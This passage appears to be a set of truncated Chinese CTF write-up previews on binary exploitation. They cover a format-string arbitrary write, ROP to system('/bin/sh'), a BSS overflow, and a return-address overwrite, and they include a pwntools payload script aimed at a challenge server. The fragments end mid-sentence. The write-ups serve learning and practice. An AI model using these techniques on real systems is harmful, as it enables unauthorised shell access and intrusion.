一、查看文件保护ELF32 开启了NX(堆栈不可执行)以及 CANNARY(栈保护),未开启 PIE 程序内存加载基地址随机化保护机制(即静态反汇编的地址可以直接使用)kali中运行如下让我们输入一个名字和一条信息后,输出hello以及我们输入的信息,最后输出“Thank you”后退出程序二、IDA静态分析(1)main程序逻辑分析:1. 接收由用户输入字符串 buf 和 s,依次作为名字和信息进行打印; 2. 注意如果 pwnme == 8 这个条件满足,则执行 system(“cat flag”) 输出我们想要的目标信息 flag 值; (2)跟进变量pwnme发现是.bss段上的全局变量(3)整理思路main函数中第22行的print(s)存在格式化字符串漏洞所以解题思路为:借助格式化字符串漏洞,实现任意地址写,篡改 pwnme 全局变量的值并令其等于 8,即可获得 Flag。三、解题任意地址覆写格式化字符串漏洞的任意地址覆写的利用步骤跟任意地址读取的利用步骤类似:1. 确定格式化字符串漏洞受控参数在栈中的偏移量 n; 2. 确定你需要读内存的地址 target_address
1.查看文件保护ELF32,开启了NX连接nc让用户输入一个字符串后,返回“Hello World!”退出2. IDA静态分析(1)main程序逻辑很简单,执行vulnerable_function()后,系统输出“Hello World!”(2)vulnerable_function()系统输出提示“echo Input:”定义了一个长度为0x88的数组,但read函数允许用户输入0x100个字符,可以发生缓冲区溢出。(3)整理思路看看程序有没有跟题目level0一样的后门(借助程序自带的可执行代码来执行任意操作),Shift+F12 打开字符串内容窗口查看程序中的字符串,观察到存在 “system” 和 “/bin/sh” 字符串,这是解出题目的关键:可是找不到跟level0中一样可以直接执行system("/bin/sh")的函数了,但是找到了_system函数可以getshell,这里的_system函数参数没有写,需要我们自己将 /bin/sh 作为参数传入 system 函数,考查的是 ROP 编程 :我们可以通过强大的 rop 技术来获得系统权限,可以
1.查看文件保护开启NX运行程序2.IDA静态分析(1)main程序逻辑分析:1)main 函数先调用 setbuf 函数清空缓冲区,然后 puts 函数打印两行提示字符;2)接着 read 函数让我们输入数据存入到 地址为0x601068的空间;3)然后 if 语句判断 60106C 的地址如果存放的数据是 1853186401 的话则调用并执行 sub_400686() 函数;(2)sub_400686()执行系统命令,输出flag.txt3.解题解题关键在与如何让地址0x60106C的值等于1853186401unk_601068和dword_60106C和都在.bss段,位移相差4个字节,而unk_601068是由用户输入的,所以我们可以通过此变量,覆盖掉dword_60106C的值,使其值变为目标数值(1853186401)。【BSS 溢出】缓冲区溢出除了典型的栈溢出和堆溢出外,还有一种发生在 bss 段上的溢出, bss 属于数据段的一种,通常用来保存未初始化的全局静态变量。脚本如下:from pwn import * r = remote("61.147.171
1.查看文件保护机制Pasted image 20231215171744.png只开启了NX(数据不可执行)解题脚本:from pwn import * r = remote("61.147.171.105", 64191) payload = "A" * 0x80 + "a" * 0x8 + p64(0x00400596).decode("iso-8859-1") # 注意这里的payload填充0x80后还需要填充8个字节(64位)的数据来覆盖rbp,之后才是覆盖retn r.recvuntil("Hello, World\n") r.sendline(payload) r.interactive()
1.查壳PE32 无壳2.IDA静态分析(1)main// attributes: thunk int __cdecl main(int argc, const char **argv, const char **envp) { return main_0(argc, argv, envp); }main_0int __cdecl main_0(int argc, const char **argv, const char **envp) { int v3; // eax const char *v4; // eax size_t v5; // eax char v7; // [esp+0h] [ebp-188h] char v8; // [esp+0h] [ebp-188h] signed int j; // [esp+DCh] [ebp-ACh] int i; // [esp+E8h] [ebp-A0h] signed int v11; // [esp+E8h] [ebp-A0h] char Destination[108]; // [esp
Norman1z